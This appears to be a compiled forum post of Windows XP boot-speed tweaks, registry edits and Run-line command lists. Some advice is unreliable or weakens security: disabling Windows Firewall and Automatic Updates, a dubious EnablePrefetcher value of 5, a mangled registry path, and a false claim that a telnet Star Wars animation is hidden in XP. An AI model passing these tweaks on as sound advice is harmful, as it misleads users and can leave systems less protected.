To reduce the number of services that start on bootup, you can access two different areas of Windows XP. The first is the System Configuration Utility. The Services tab shows you the services that start when the computer boots.
You can stop a service from starting by simply clearing the check box next to the service and clicking OK. However, before you do so, there is another way to disable services that you may prefer because the interface gives you more information about the service in question.


Open Control Panel/Administrative ToolsServices or else select Start/Run, type services.msc, and click OK. Either way, you see the Services console.
I prefer to use the Services console instead of the System Configuration Utility because it describes what the service does. Additionally, you can double-click a service and examine its properties.

Notice the Startup Type column in Figure 4-2. This information lists whether the service is automatic or manual. Manual services are only started in Windows XP when you start a process that requires the service. Some other process may require the service that has a "dependency" relationship with it; in this case, the dependency service will start, as well. Because these services do not start automatically when you boot Windows XP, you do not need to do anything with manual services.


However, all services listed as automatic start when Windows XP boots. These are the services that increase boot time. As I have mentioned, many of them are necessary and important, so you should not stop automatic services from booting unless you are sure of the ramifications. You can get this information by looking at the Description column. Here's a quick look at common services you may want to live without:


SPEED UP BOOT BY DISABLING UNUSED PORTS.!!


You may have tried many tweaks like modifying windowsXP start-up applications, prefetches, unload DLLs method,etc. And yes those methods do work for me.
I have just accidentally found out another way to give you an extra boost in windowsXP's boot performance. This is done by disabling your unused devices in
Device Manager. for example, if you don't have input devices that are connected to one of your USBs or COM ports, disabling them will give you an extra perfromance boost in booting. Go to Control Panel -> System -> Hardware tab -> device manager Disable devices that you don't use for your PC and then restart.


Do Dis !!

1.Start Registry Editor (Regedit.exe).

2.Locate the following key in the registry:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\MemoryManagement\PrefetchParameters

3.Make sure you backup the keys by exporting them to a .reg file.

4.On the EnablePrefetcher value, change the setting from 3 to 5 (decimal).

5.Close the registry editor.

6.Restart your computer


Automatic Updates !

This service enables Windows XP to check the Web automatically for updates. If you don't want to use Automatic Updates, you can disable the service. You can always check for updates manually at the Windows Update Web site.

Computer Browser: If your computer is not on a network, you don't need this service. If you are on a network, leave it alone.

DHCP Client: If you are not on a network, you do not need this service. If you are on a small workgroup, you can still increase boot time by configuring manual IP addresses (which I explore later in this chapter).

DNS Client: If you are not on a network, you do not need this service. If you are, leave it alone.

Error Reporting and Event Log: You don't have to use these services but they can be very helpful, so I would leave them configured as automatic.

Fax: If you don't use your computer for fax services, you can disable this one.

Help and Support: If you never use the Windows XP Help and Support Center (found on the Start menu), you can disable this service.

IMAPI CD-Burning COM: This service enables you to burn CDs on your computer. If you never burn CDs, you can disable the service.

Indexing Service: Your computer keeps an index of files but if you rarely search for files, the service is just a resource hog. You can stop it and turn the service to manual.

Windows Firewall/Internet Connection Sharing: If you do not use these features, you can disable them.

Infrared Monitor: If you do not use infrared devices, you can disable this service.

Messenger: This service sends alert messages on a local area network (it is not the same as Windows Messenger). If you are not on a network, you can disable this service.

Print Spooler: If you do not do any printing from the computer, you can disable this service. If you print, make sure you leave it as automatic.

Remote Registry: This service allows remote users to modify the Registry on your computer. If you are not on a network, you can disable this service.

System Restore Service: This service allows you to use System Restore. If you have turned off System Restore anyway, you do not need to turn off the service. If you do, you turn off System Restore.

Themes: If you do not use themes, you can disable this service.

Windows Image Acquisition: If you do not use scanners or digital cameras, you can disable this service.

Wireless Zero Configuration: If do not use wireless networking devices, you can disable this service.




You may have a number of other automatic services, depending on software and other configurations on your computer. So it's a good idea to look through the services and learn more about them. If you double-click a service, a Properties dialog box appears
Notice that on the General tab, you see a Startup Type drop-down menu. If you want to change an automatic service to manual, select Manual here and click OK. As a general rule, don't disable a service unless you are sure you will never use it. However, manual configuration allows the service to be started when you find it necessary, thus speeding up your boot time.
However, before you change a service to manual, look at the Dependencies tab (see Figure 4-4). This tab shows you which other services depend upon the service you are considering changing.
Keep in mind that services are necessary for the vast functionality you get with Windows XP. Change only those services that you understand and do not use. How you use your Windows XP computer should be the best guide in terms of optional startup services.


Tip !


The Indexing service and the System Restore service take up a lot of disk space and system resources across the board. You can live without the Indexing service but I suggest that you keep using System Restore. It works great when you are in a bind and this is one case where the loss of speed may not be worth the ramifications of not using System Restore.


Speed Tips and Tricks for Windows XP Startup
Aside from startup programs, services, and the Prefetch folder, there are a number of other startup procedures and issues you can modify to help Windows XP start faster. The following sections explore those tips and tricks.


Manual IP Addressing on Small Office/Home Networks
Windows XP is configured to help you take care of networking. It uses the TCP/IP protocol for networking in workgroups, or what you might call small office or home networks that do not use a dedicated server.

The problem is that automatic IP addressing can be slow. When your computer boots, it has to query the network to see what IP addresses are already in use and then assign itself one. If you want to speed up the boot time a bit, consider manually assigning IP addresses to all computers on the network. This way, the network computers do not have to worry about locating an automatic IP address. Because one is manually configured, the operating system doesn't have to spend time solving this problem.

This isn't a networking book, however, so I won't delve into the implications of using a manual IP address, but if you are using a computer that functions as a host computer to the Internet (using Internet Connection Sharing [ICS]), you can get into connectivity problems if you change the configuration of the IP address. However, you can still work around this problem by starting with the ICS host computer.

Select Start/Connect To/Show All Connections. Right-click your network adapter card and click Properties. On the General tab, select TCP/IP in the list of services and click the Properties button.

In the TCP/IP properties, you can see if you use an automatic or manual IP address. In the example in Figure 4-5, I have configured a manual IP address of 90.0.0.1 and a default subnet mask. The other computers on my office network each use a different IP address in the same class, such as 90.0.0.2, 90.0.0.3, 90.0.0.4, and so on. This way, each computer has a permanent IP address, which helps increase boot time. Note that if you change the IP addresses of your computers, they must all use the same subnet mask. A default subject mask of 255.255.255.0 will keep you in good shape.

Make sure you understand the implications of changing IP addresses on your network. If you have no networking experience at all, you may be wiser to leave the automatic IP addressing as is and try to gain some speed using the additional suggestions in this chapter.


Disabling Recent Documents History !


Windows XP includes a feature that keeps track of all recent documents you have opened or used. The idea is that you can select Start/Recent Documents History and quickly reopen any document you have recently used. I use many documents each day and never use the feature myself. In my opinion, I can keep up with what I want to use without Windows XP doing it for me.
The bad thing about Recent Documents History is that Windows XP has to calculate what should be put there each time you boot Windows, which can slow things down. So, if you never use the Recent Documents History, it's a good idea to disable it. Here's how:
1. Open the Registry Editor (select Start/Run, type regedit, and click OK).
2. Navigate to HKEY_CURRENT_USER\Software\Mcft\Windows\ CurrentVersion\Policies\Explorer.
3. Create a NoRecentDocsHistory D_WORD key. Double-click the value to open it once it is created.
4. Set the Data Value to 1 to enable the restriction.
5. Click OK and close the Registry Editor. You'll need to restart the computer for the change to take effect.


Disabling the Boot Logo !


You can remove the boot logo that appears when you start Windows XP. This little tweak probably shaves only a few seconds off your boot time but seconds count if you are serious about trying to get Windows XP up and running as quickly as possible. The only negative is that if you remove the boot logo, you will also not see any boot messages, such as check disk. (But if you are not having problems with your computer, this isn't such a big deal.)
To remove the boot logo, follow these steps:
1. Select Start/Run, type msconfig, and click OK.
2. In the System Configuration Utility, click the BOOT.INI tab.
3. On the BOOT.INI tab, click the NOGUIBOOT check box option. Click OK.


Removing Unwanted Fonts !


One trick that increases your boot time a bit is to lose any fonts in the Fonts folder in Control Panel that you never use. The more fonts you have, the more processing Windows XP has to do to prep all of those fonts for use. You must be a bit careful here to not remove fonts that you might want, but there is a good chance that you can live without many of them. For instance, you may have foreign language fonts and other symbol fonts (such as Wingdings) that you never use.
To delete unneeded fonts, follow these steps:
1. Open the Fonts folder in Control Panel.
2. Select Edit/Select All and then Edit/Copy.
3. Create a new folder on your desktop, open it, and select Edit/Paste.
4. In this new folder, delete any of the fonts you do not want.
5. Return to the Fonts folder in Control Panel. Right-click the selected fonts and click Delete.
6. Go back to your new desktop folder and click Edit/Select All.
7. Return to your Fonts folder and click Edit/Paste. You now have only the desired fonts in the Fonts folder.


Tip:


You can directly delete fonts from the Fonts folder without creating the secondary folder. However, I recommend the preceding steps to help ensure that you do not make a mistake in the deletion process.


Stopping Remote Assistance and Remote Desktop Sharing !


In Windows XP Professional, you have two remote networking features called Remote Assistance and Remote Desktop Sharing. These remote networking features are very helpful in a variety of situations but if you don't use them, it is good idea to disable them to save boot time. You can always enable them later if you want to use them.
Note:
If you are interested in using Remote Desktop or Remote Assistance, see my book Windows XP for Power Users: Power Pack published by John Wiley & Sons.
1. Open the Start menu, right-click My Computer, and choose Properties.
2. Click the Remote Tab.
3. Clear both check boxes to disable Remote Assistance and Remote Desktop.


Speeding Up the Dual-Boot Timeout !


If you dual-boot your computer with Windows XP and another operating system, you see an operating system selection menu on startup. If you typically boot into Windows XP and not the other operating system, you can speed up the dual-boot timeout value so that you do not wait so long for the boot process to select your default operating system and continue with the boot process. The default timeout value is 30 seconds but you can change this setting to 10. This gives you enough time to select the alternate operating system if you want but also speeds up the boot process. You can skip this section if you do not use a dual-boot configuration.
Follow these steps:
1. Locate the boot.ini file on your computer. It is a hidden file by default; mine is located in C:\boot.ini.
2. Open the file with Notepad (which is what opens it by default).
3. Change the Timeout value to 10 (see Figure 4-11).
4. Select File/Save and close Notepad.


Speeding Up Your PPPoE Connection !


If you use a Point-to-Point Protocol connection over Ethernet (PPPoE), you may notice a delay in using the PPPoE connection after startup. By default, there is a 120 second delay but you can stop this behavior by manually configuring an IP address for the network adapter card. If you do not use a PPPoE connection, you can skip this section.
1. Select Start/Connect to/Show All Connections.
2. Open the TCP/IP properties for your LAN network interface card.
3. Manually set the IP address on the TCP/IP properties to an appropriate IP address and subnet mask for your network.


Reducing the Wait Time


When you start to shut down Windows XP, it has to quit, or "kill," any live applications or processes that are currently running. So close all applications first. However, some applications and processes are always running in the background. You can reduce the amount of time that Windows XP waits for those applications and processes to close before Windows XP kills them. Edit three different Registry settings to change this:
1. Open the Registry Editor.
2. Navigate to HKEY_CURRENT_USER\Control Panel\Desktop. Select WaitToKillAppTimeout and set the value to 1000.
3. Select the HungAppTimeout value and set it to 1000 as well.
4. Navigate to HKEY_USERS\.DEFAULT\Control Panel\Desktop. Set the WaitToKillAppTimeout and set the value to 1000. Select the HungAppTimeout \newline value and set it to 1000 as well.
5. Navigate to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control. Select the WaitToKillServiceTimeout value and set it to 1000.
6. Close the Registry Editor.

Automatically Killing Tasks on Shutdown !


You know the drill. You start to shut down the computer, you wait a few moments, and then you see a dialog box asking if you want to kill an application or service that is running. Instead of prompting you, you can make Windows XP take care of the kill task automatically. Here's how:
1. Open the Registry Editor.
2. Navigate to HKEY_CURRENT_USER\Control Panel\Desktop.
3. Highlight the value AutoEndTasks and change the value to 1.
4. Close the Registry Editor.

More

Here's a great tip to speed up your browsing of Windows XP machines. Its actually a fix to a bug installed as default in Windows 2000 that scans shared files for Scheduled Tasks. And it turns out that you can experience a delay as long as 30 seconds when you try to view shared files across a network because Windows 2000 is using the extra time to search the remote computer for any Scheduled Tasks. Note that though the fix is originally intended for only those affected, Windows 2000 users will experience that the actual browsing speed of both the Internet & Windows Explorers improve significantly after applying it since it doesn't search for Scheduled Tasks anymore. Here's how :

Open up the Registry and go to : HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace Under that branch, select the key : {D6277990-4C6A-11CF-8D87-00AA0060F5BF} and delete it. This is key that instructs Windows to search for Scheduled Tasks. If you like you may want to export the exact branch so that you can restore the key if necessary. This fix is so effective that it doesn't require a reboot and you can almost immediately determine yourself how much it speeds up your browsing processes.

dos triks and short cuts

Full Codes. Kindly Add if U know more !



Accessibility Controls
access.cpl
Add Hardware Wizard
hdwwiz.cpl
Add/Remove Programs
appwiz.cpl
Administrative Tools
control admintools
Automatic Updates
wuaucpl.cpl
Bluetooth Transfer Wizard
fsquirt
Calculator
calc
Certificate Manager
certmgr.msc
Character Map
charmap
Check Disk Utility
chkdsk
Clipboard Viewer
clipbrd
Command Prompt
cmd
Component Services
dcomcnfg
Computer Management
compmgmt.msc
timedate.cpl
ddeshare
Device Manager
devmgmt.msc
Direct X Control Panel (If Installed)*
directx.cpl
Direct X Troubleshooter
dxdiag
Disk Cleanup Utility
cleanmgr
Disk Defragment
dfrg.msc
Disk Management
diskmgmt.msc
Disk Partition Manager
diskpart
Display Properties
control desktop
Display Properties
desk.cpl
Display Properties (w/Appearance Tab Preselected)
control color
Dr. Watson System Troubleshooting Utility
drwtsn32
Driver Verifier Utility
verifier
Event Viewer
eventvwr.msc
File Signature Verification Tool
sigverif
Findfast
findfast.cpl
Folders Properties
control folders
Fonts
control fonts
Fonts Folder
fonts
Free Cell Card Game
freecell
Game Controllers
joy.cpl
Group Policy Editor (XP Prof)
gpedit.msc
Hearts Card Game
mshearts
Iexpress Wizard
iexpress
Indexing Service
ciadv.msc
Internet Properties
inetcpl.cpl
IP Configuration (Display Connection Configuration)
ipconfig /all
IP Configuration (Display DNS Cache Contents)
ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents)
ipconfig /flushdns
IP Configuration (Release All Connections)
ipconfig /release
IP Configuration (Renew All Connections)
ipconfig /renew
IP Configuration (Refreshes DHCP & Re-Registers DNS)
ipconfig /registerdns
IP Configuration (Display DHCP Class ID)
ipconfig /showclassid
IP Configuration (Modifies DHCP Class ID)
ipconfig /setclassid
Java Control Panel (If Installed)
jpicpl32.cpl
Java Control Panel (If Installed)
javaws
Keyboard Properties
control keyboard
Local Security Settings
secpol.msc
Local Users and Groups
lusrmgr.msc
Logs You Out Of Windows
logoff
Microsoft Chat
winchat
Minesweeper Game
winmine
Mouse Properties
control mouse
Mouse Properties
main.cpl
Network Connections
control netconnections
Network Connections
ncpa.cpl
Network Setup Wizard
netsetup.cpl
Notepad
notepad
Nview Desktop Manager (If Installed)
nvtuicpl.cpl
Object Packager
packager
ODBC Data Source Administrator
odbccp32.cpl
On Screen Keyboard
osk
Opens AC3 Filter (If Installed)
ac3filter.cpl
Password Properties
password.cpl
Performance Monitor
perfmon.msc
Performance Monitor
perfmon
Phone and Modem Options
telephon.cpl
Power Configuration
powercfg.cpl
Printers and Faxes
control printers
Printers Folder
printers
Private Character Editor
eudcedit
Quicktime (If Installed)
QuickTime.cpl
Regional Settings
intl.cpl
Registry Editor
regedit
Registry Editor
regedit32
Remote Desktop
mstsc
Removable Storage
ntmsmgr.msc
Removable Storage Operator Requests
ntmsoprq.msc
Resultant Set of Policy (XP Prof)
rsop.msc
Scanners and Cameras
sticpl.cpl
Scheduled Tasks
control schedtasks
Security Center
wscui.cpl
Services
services.msc
Shared Folders
fsmgmt.msc
Shuts Down Windows
shutdown
Sounds and Audio
mmsys.cpl
Spider Solitare Card Game
spider
SQL Client Configuration
cliconfg
System Configuration Editor
sysedit
System Configuration Utility
msconfig
System File Checker Utility (Scan Immediately)
sfc /scannow
System File Checker Utility (Scan Once At Next Boot)
sfc /scanonce
System File Checker Utility (Scan On Every Boot)
sfc /scanboot
System File Checker Utility (Return to Default Setting)
sfc /revert
System File Checker Utility (Purge File Cache)
sfc /purgecache
System File Checker Utility (Set Cache Size to size x)
sfc /cachesize=x
System Properties
sysdm.cpl
Task Manager
taskmgr
Telnet Client
telnet
User Account Management
nusrmgr.cpl
Utility Manager
utilman
Windows Firewall
firewall.cpl
Windows Magnifier
magnify
Windows Management Infrastructure
wmimgmt.msc
Windows System Security Tool
syskey
Windows Update Launches
wupdmgr
Windows XP Tour Wizard
tourstart
Wordpad
write
Run line commands can be very useful some times, its better to know them here are all the commands that i know u might find them usefull too Commands are same for Windows xp pro and home
Run Line Commands

These are GUI applications that can be opened from the run line.
These applications are not located in the C:\windows\system32\ directory, the
keys for these applications are located in the registry under:
HKLM\software\microsoft\windows\currentversion\app paths
BCKGZM.EXE - Backgammon
CHKRZM.EXE - Checkers
CONF.EXE - NetMeeting
DIALER.EXE - Phone Dialer
HELPCTR.EXE - Help and Support
HRTZZM.EXE - Internet Hearts
HYPERTRM.EXE - HyperTerminal
ICWCONN1.EXE - Internet Connection Wizard
IEXPLORE.EXE - Internet Explorer
INETWIZ.EXE - Setup Your Internet Connection
INSTALL.EXE - User's Folder
MIGWIZ.EXE - File and Settings Transfer Wizard
MOVIEMK.EXE - Windows Movie Maker
MPLAYER2.EXE - Windows Media Player Version 6.4.09.1120
MSCONFIG.EXE - System Configuration Utility
MSIMN.EXE - Outlook Express
MSINFO32.EXE - System Information
MSMSGS.EXE - Windows Messenger
MSN6.EXE - MSN Explorer
PBRUSH.EXE - Paint
PINBALL.EXE - Pinball
RVSEZM.EXE - Reversi
SHVLZM.EXE - Spades
TABLE30.EXE - User's Folder
WAB.EXE - Windows Address Book
WABMIG.EXE - Address Book Import Tool
WINNT32.EXE - User's Folder
WMPLAYER.EXE - Windows Media Player
WRITE.EXE - Wordpad

These .EXE files reside in (c:\windows\system32\) or (c:\windows\) directory.
ACCWIZ.EXE - Accessibility Wizard
CALC.EXE - Calculator
CHARMAP.EXE - Character Map
CLEANMGR.EXE - Disk Space Cleanup Manager
CLICONFG.EXE - SQL Client Configuration Utility
CLIPBRD.EXE - Clipbook Viewer
CLSPACK.EXE - Class Package Export Tool
CMD.EXE - Command Line
CMSTP.EXE - Connection Manager Profile Installer
CONTROL.EXE - Control Panel
DCOMCNFG.EXE - Component Services
DDESHARE.EXE - DDE Share
DRWATSON.EXE - Doctor Watson v1.00b
DRWTSN32.EXE - Doctor Watson Settings
DVDPLAY.EXE - DVD Player
DXDIAG.EXE - DirectX Diagnostics
EUDCEDIT.EXE - Private Character Editor
EVENTVWR.EXE - Event Viewer
EXPLORER.EXE - Windows Explorer
FREECELL.EXE - Free Cell
FXSCLNT.EXE - Fax Console
FXSCOVER.EXE - Fax Cover Page Editor
FXSEND.EXE - MS Fax Send Note Utility
IEXPRESS.EXE - IExpress 2.0
LOGOFF.EXE - System Logoff
MAGNIFY.EXE - Microsoft Magnifier
MMC.EXE - Microsoft Management Console
MOBSYNC.EXE - Microsoft Synchronization Manager
MPLAY32.EXE - Windows Media Player version 5.1
MSHEARTS.EXE - Hearts
MSPAINT.EXE - Paint
MSTSC.EXE - Remote Desktop Connection
NARRATOR.EXE - Microsoft Narrator
NETSETUP.EXE - Network Setup Wizard
NOTEPAD.EXE - Notepad
NSLOOKUP.EXE - NSLookup Application
NTSD.EXE - Symbolic Debugger for Windows 2000
ODBCAD32.EXE - ODBC Data Source Administrator
OSK.EXE - On Screen Keyboard
OSUNINST.EXE - Windows Uninstall Utility
PACKAGER.EXE - Object Packager
PERFMON.EXE - Performance Monitor
PROGMAN.EXE - Program Manager
RASPHONE.EXE - Remote Access Phonebook
REGEDIT.EXE - Registry Editor
REGEDT32.EXE - Registry Editor
RESET.EXE - Resets Session
RSTRUI.EXE - System Restore
RTCSHARE.EXE - RTC Application Sharing
SFC.EXE - System File Checker
SHRPUBW.EXE - Create Shared Folder
SHUTDOWN.EXE - System Shutdown
SIGVERIF.EXE - File Signature Verification
SNDREC32.EXE - Sound Recorder
SNDVOL32.EXE - Sound Volume
SOL.EXE - Solitaire

SPIDER.EXE - Spider Solitaire
SYNCAPP.EXE - Create A Briefcase
SYSEDIT.EXE - System Configuration Editor
SYSKEY.EXE - SAM Lock Tool
TASKMGR.EXE - Task Manager
TELNET.EXE - MS Telnet Client
TSSHUTDN.EXE - System Shutdown
TOURSTART.EXE - Windows Tour Launcher
UTILMAN.EXE - System Utility Manager
USERINIT.EXE - My Documents
VERIFIER.EXE - Driver Verifier Manager
WIAACMGR.EXE - Scanner and Camera Wizard
WINCHAT.EXE - Windows for Workgroups Chat
WINHELP.EXE - Windows Help Engine
WINHLP32.EXE - Help
WINMINE.EXE - Minesweeper
WINVER.EXE - Windows Version Information
WRITE.EXE - WordPad
WSCRIPT.EXE - Windows Script Host Settings
WUPDMGR.EXE - Windows Update

The following are Control Panel applets that can be run from the run line.
They are located in the c:\windows\system32 directory, and have the file type
extension ".CPL".
ACCESS.CPL - Accessibility Options
APPWIZ.CPL - Add or Remove Programs
DESK.CPL - Display Properties
HDWWIZ.CPL - Add Hardware Wizard
INETCPL.CPL - Internet Explorer Properties
INTL.CPL - Regional and Language Options
JOY.CPL - Game Controllers
MAIN.CPL - Mouse Properties
MMSYS.CPL - Sounds and Audio Device Properties
NCPA.CPL - Network Connections
NUSRMGR.CPL - User Accounts
ODBCCP32.CPL - ODBC Data Source Administrator
POWERCFG.CPL - Power Options Properties
SYSDM.CPL - System Properties
TELEPHON.CPL - Phone and Modem Options
TIMEDATE.CPL - Date and Time Properties
The following are Microsoft Management Console Snap-ins that can be opened from
the run line. These applications have the file type extension ".MSC".
CERTMGR.MSC - Certificates
CIADV.MSC - Indexing Service
COMPMGMT.MSC - Computer Management
DEVMGMT.MSC - Device Manager
DFRG.MSC - Disk Defragmenter
DISKMGMT.MSC - Disk Management
EVENTVWR.MSC - Event Viewer
FSMGMT.MSC - Shared Folders
LUSRMGR.MSC - Local Users and Groups
NTMSMGR.MSC - Removable Storage
NTMSOPRQ.MSC - Removable Storage Operator Requests
PERFMON.MSC - Performance Monitor
SERVICES.MSC - Services
WMIMGMT.MSC - Windows Management Infrastructure



Calculation on command Prompt ! u knew dis???

The command processor CMD.EXE comes with a mini-calculator that can perform simple arithmetic on 32-bit signed integers:

C:\>set /a 2+2
4
C:\>set /a 2*(9/2)
8
C:\>set /a (2*9)/2
9
C:\>set /a "31>>2"
7

Note that we had to quote the shift operator since it would otherwise be misinterpreted as a "redirect stdout and append" operator.

For more information, type set /? at the command prompt.

***************************************************************************

Hey folks, do u know that windows XP is having a hidden "Star Wars Movie" inside it???
You should be connected to the NET for using this.
Go to Starts-->Programs-->Run
Type
telnet towel.blinkenlights.nl
And hit enter......... Enjoy the magic!!!!

run command

Accessibility Controls - access.cpl

Add Hardware Wizard - hdwwiz.cpl

Add/Remove Programs - appwiz.cpl

Administrative Tools - control admintools

Automatic Updates - wuaucpl.cpl

Bluetooth Transfer Wizard - fsquirt

Calculator - calc

Certificate Manager - certmgr.msc

Character Map - charmap

Check Disk Utility - chkdsk

Clipboard Viewer - clipbrd

Command Prompt - cmd

Component Services - dcomcnfg

Computer Management - compmgmt.msc

Date and Time Properties - timedate.cpl

DDE Shares - ddeshare

Device Manager - devmgmt.msc

Direct X Control Panel (If Installed)* - directx.cpl

Direct X Troubleshooter - dxdiag

Disk Cleanup Utility - cleanmgr

Disk Defragment - dfrg.msc

Disk Management - diskmgmt.msc

Disk Partition Manager - diskpart

Display Properties - control desktop

Display Properties - desk.cpl

Display Properties (w/Appearance Tab Preselected) - control color

Dr. Watson System Troubleshooting Utility - drwtsn32

Driver Verifier Utility - verifier

Event Viewer - eventvwr.msc

File Signature Verification Tool - sigverif

Findfast - findfast.cpl

Folders Properties - control folders

Fonts - control fonts

Fonts Folder - fonts

Free Cell Card Game - freecell

Game Controllers - joy.cpl

Group Policy Editor (XP Prof) - gpedit.msc

Hearts Card Game - mshearts

Iexpress Wizard - iexpress

Indexing Service - ciadv.msc

Internet Properties - inetcpl.cpl

IP Configuration (Display Connection Configuration) - ipconfig /all

IP Configuration (Display DNS Cache Contents) - ipconfig /displaydns

IP Configuration (Delete DNS Cache Contents) - ipconfig /flushdns

IP Configuration (Release All Connections) - ipconfig /release

IP Configuration (Renew All Connections) - ipconfig /renew

IP Configuration (Refreshes DHCP & Re - Registers DNS) - ipconfig /registerdns

IP Configuration (Display DHCP Class ID) - ipconfig /showclassid

IP Configuration (Modifies DHCP Class ID) - ipconfig /setclassid

Java Control Panel (If Installed) - jpicpl32.cpl

Java Control Panel (If Installed) - javaws

Keyboard Properties - control keyboard

Local Security Settings - secpol.msc

Local Users and Groups - lusrmgr.msc

Logs You Out Of Windows - logoff

Microsoft Chat - winchat

Minesweeper Game - winmine

Mouse Properties - control mouse

Mouse Properties - main.cpl

Network Connections - control netconnections

Network Connections - ncpa.cpl

Network Setup Wizard - netsetup.cpl

Notepad - notepad

Nview Desktop Manager (If Installed) - nvtuicpl.cpl

Object Packager - packager

ODBC Data Source Administrator - odbccp32.cpl

On Screen Keyboard - osk

Opens AC3 Filter (If Installed) - ac3filter.cpl

Password Properties - password.cpl

Performance Monitor - perfmon.msc

Performance Monitor - perfmon

Phone and Modem Options - telephon.cpl

Power Configuration - powercfg.cpl

Printers and Faxes - control printers

Printers Folder - printers

Private Character Editor - eudcedit

Quicktime (If Installed) - QuickTime.cpl

Regional Settings - intl.cpl

Registry Editor - regedit

Registry Editor - regedit32

Remote Desktop - mstsc

Removable Storage - ntmsmgr.msc

Removable Storage Operator Requests - ntmsoprq.msc

Resultant Set of Policy (XP Prof) - rsop.msc

Scanners and Cameras - sticpl.cpl

Scheduled Tasks - control schedtasks

Security Center - wscui.cpl

Services - services.msc

Shared Folders - fsmgmt.msc

Shuts Down Windows - shutdown

Sounds and Audio - mmsys.cpl

Spider Solitare Card Game - spider

SQL Client Configuration - cliconfg

System Configuration Editor - sysedit

System Configuration Utility - msconfig

System File Checker Utility (Scan Immediately) - sfc /scannow

System File Checker Utility (Scan Once At Next Boot) - sfc /scanonce

System File Checker Utility (Scan On Every Boot) - sfc /scanboot

System File Checker Utility (Return to Default Setting) - sfc /revert

System File Checker Utility (Purge File Cache) - sfc /purgecache

System File Checker Utility (Set Cache Size to size x) - sfc /cachesize=x

System Properties - sysdm.cpl

Task Manager - taskmgr

Telnet Client - telnet

User Account Management - nusrmgr.cpl

Utility Manager - utilman

Windows Firewall - firewall.cpl

Windows Magnifier - magnify

Windows Management Infrastructure - wmimgmt.msc

Windows System Security Tool - syskey

Windows Update Launches - wupdmgr

Windows XP Tour Wizard - tourstart

Wordpad - write